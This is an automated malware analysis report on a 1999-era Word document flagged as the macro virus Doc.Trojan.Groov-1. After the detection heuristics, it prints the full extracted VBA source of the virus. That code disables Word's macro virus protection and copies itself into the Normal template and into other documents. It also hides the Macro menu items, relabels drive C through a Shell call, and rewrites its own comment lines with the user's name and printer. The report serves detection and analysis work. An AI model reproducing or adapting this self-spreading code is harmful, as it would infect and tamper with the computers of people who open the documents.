Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 786bcccdc3c55a84…

MALICIOUS

Office (OLE)

81.5 KB Created: 1999-08-19 02:25:00 Authoring application: Microsoft Word 8.0 First seen: 2017-07-07
MD5: 0d7c14aaa64b4c578192ca3ef1373908 SHA-1: f4b8e84d0f5b03045a45674e83cffad1ecd6a6db SHA-256: 786bcccdc3c55a8453ac06d25ce24ed012d53c0611dfd9b830e24cd79edc79a6
256 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a legacy Word document containing a VBA macro. Heuristics indicate the presence of legacy WordBasic macro virus markers and a potential Shell call within the VBA code. The macro is named 'groovie' and appears to be designed to execute shell commands, suggesting it acts as a downloader for a secondary stage payload. The ClamAV detection of 'Doc.Trojan.Groov-1' further supports its malicious nature.

Heuristics 6

  • ClamAV: Doc.Trojan.Groov-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Groov-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
     ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
        Shell ("label c: groovie"), 0
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
     ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Sub AutoOpen()
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
     ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Sub AutoClose()
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 20139 bytes
SHA-256: a19807b59f018499c7f78870cf6a16f2d6f32bf67846c4ea0d97a39e959cd8e5
Detection
ClamAV: Doc.Trojan.Groov-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "groovie"
Public I01 As String
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Public I02 As Boolean
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Public I03 As Boolean
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Public I04 As Boolean
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Public I05 As Boolean
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Public I06 As String
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Public I07 As Boolean
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Public I08 As Boolean
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Function I09()
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
On Error Resume Next
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
    If MacroContainer = NormalTemplate Then
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
        I01 = "normal"
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
        GoTo checkout
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
    End If
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
    If MacroContainer = ActiveDocument Then I01 = "document"
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
    If MacroContainer = "data.dot" Then I01 = "orbit"
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
checkout:
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
End Function
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Function I10()
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
On Error Resume Next
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
    If Dir(Application.StartupPath + "\data.dot") = "data.dot" Then I02 = True
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
    For I = 1 To ActiveDocument.VBProject.VBComponents.Count
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
        If ActiveDocument.VBProject.VBComponents(I).Name = "groovie" Then I04 = True
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
    Next I
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
    For I = 1 To NormalTemplate.VBProject.VBComponents.Count
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
        If NormalTemplate.VBProject.VBComponents(I).Name = "groovie" Then I03 = True
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
    Next I
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
    If GetAttr(NormalTemplate.FullName) = vbArchive + vbReadOnly Or GetAttr(NormalTemplate.FullName) = vbReadOnly Then I05 = True
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
End Function
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Function I11()
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
On Error Resume Next
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Call I09
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Call I10
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
    If I01 = "document" Then Call I12
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
    If I01 = "normal" Then Call I13
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
    If I01 = "orbit" Then Call I14
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
    If I05 = False Then CommandBars("tools").Controls("Macro").Delete
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
    If I05 = False Then CommandBars("tools").Controls("Templates and add-ins...").Delete
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
End Function
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Function I12()
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
On Error Resume Next
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
    Application.VBE.ActiveVBProject.VBComponents("groovie").Export "c:\groovie.sys"
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
    If I03 = False And I05 = False Then
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
        With NormalTemplate.VBProject
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
        With .VBComponents.Import("c:\groovie.sys")
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
        End With
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
        End With
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
    End If
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
    If I02 = False Then
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
        ActiveDocument.SaveAs FileName:=Application.StartupPath + "\data.dot", FileFormat:=wdFormatTemplate, AddToRecentFiles:=False, ReadOnlyRecommended:=False
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
        Application.OrganizerRename Source:=Application.StartupPath + "\data.dot", Name:="groovie", NewName:="orbit", Object:=wdOrganizerObjectProjectItems
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
        If ActiveDocument.Saved = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
        If I08 = False Then Documents.Open FileName:=I06
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
        Shell ("label c: groovie"), 0
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
        Windows(1).Close
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
    End If
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
End Function
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Function I13()
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
On Error Resume Next
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Application.ScreenUpdating = False
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
    Call I17
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
    If I04 = False And I07 = True Then
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
        With ActiveDocument.VBProject
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
        With .VBComponents.Import("c:\groovie.sys")
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
        End With
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
        End With
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
        With Dialogs(wdDialogFileSummaryInfo)
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
            .Comments = "ALT-F11 says it's groovie!"
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
            .Execute
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
        End With
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
    End If
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
    If I02 = False And I07 = True Then
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
        ActiveDocument.SaveAs FileName:=Application.StartupPath + "\data.dot", FileFormat:=wdFormatTemplate, AddToRecentFiles:=False, ReadOnlyRecommended:=False
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
        Application.OrganizerRename Source:=Application.StartupPath + "\data.dot", Name:="groovie", NewName:="orbit", Object:=wdOrganizerObjectProjectItems
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
        If I08 = False Then Documents.Open FileName:=I06
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
        Windows(1).Close SaveChanges:=wdSaveChanges
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
    End If
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
    If I02 = False And I07 = False Then
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
        Documents.Add Template:="", NewTemplate:=False
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
        ActiveDocument.SaveAs FileName:=Application.StartupPath + "\data.dot", FileFormat:=wdFormatTemplate, AddToRecentFiles:=False, ReadOnlyRecommended:=False
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
        Application.OrganizerRename Source:=Application.StartupPath + "\data.dot", Name:="groovie", NewName:="orbit", Object:=wdOrganizerObjectProjectItems
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
        If ActiveDocument.Saved = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
        Windows(1).Close SaveChanges:=wdSaveChanges
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
    End If
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Application.ScreenUpdating = True
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
End Function
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Function I14()
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
On Error Resume Next
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Application.ScreenUpdating = False
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
        If I03 = False And I05 = False Then
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
            With NormalTemplate.VBProject
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
            With .VBComponents.Import("c:\groovie.sys")
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
            End With
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
            End With
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
            NormalTemplate.Save
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
        End If
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
        If I04 = False Then
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
            With ActiveDocument.VBProject
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
            With .VBComponents.Import("c:\groovie.sys")
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
            End With
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
            End With
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
            With Dialogs(wdDialogFileSummaryInfo)
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
                .Comments = "ALT-F11 says it's groovie!"
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
                .Execute
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
            End With
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
        End If
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Application.ScreenUpdating = True
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
End Function
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Function I15()
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
On Error Resume Next
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
    Options.VirusProtection = False
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
    Options.SaveNormalPrompt = False
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
    Options.ConfirmConversions = False
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
    I06 = ActiveDocument.FullName
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
    Call I11
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
End Function
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Sub AutoOpen()
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
On Error Resume Next
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Call I15
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
End Sub
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Sub AutoClose()
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
On Error Resume Next
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
I08 = True
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Call I15
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
End Sub
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Sub AutoExit()
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
On Error Resume Next
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Call I15
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
End Sub
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Sub FileSaveAs()
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
On Error Resume Next
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Call I16
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Call I15
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Dialogs(wdDialogFileSaveAs).Show
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
End Sub
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Sub filesave()
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
On Error Resume Next
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Call I16
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Call I15
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
End Sub
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Sub fileclose()
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
On Error Resume Next
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
I08 = True
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Call I15
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
ActiveDocument.Close
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
End Sub
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Sub fileprint()
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
On Error Resume Next
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Call I15
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Dialogs(wdDialogFilePrint).Show
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
End Sub
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Sub ViewVBCode()
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
MsgBox "It's GROOVIE", vbOKOnly, "•  ALT-F11  • says..."
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
End Sub
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Sub ToolsMacro()
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
End Sub
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Sub FileTemplates()
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
End Sub
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Function I17()
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
On Error GoTo docek
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
    If ActiveDocument.Name <> "" Then
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
        I07 = True
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
    End If
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
    GoTo over
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
docek:
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
    I07 = False
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
over:
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
End Function
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Function I16()
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Randomize
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
rn = Int(Rnd * 999)
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
With Application.VBE.ActiveVBProject.VBComponents("Groovie").codemodule
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
For x = 2 To 358 Step 2
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
.deletelines x
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
.InsertLines x, " ' " & Application.UserInitials & Now & rn & Application.UserName & rn & Application.ActivePrinter
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
Next x
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
End With
 ' J5/12/99 8:21:01 AM766Jonathan766HP DeskJet 670C Series Printer on LPT1:
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.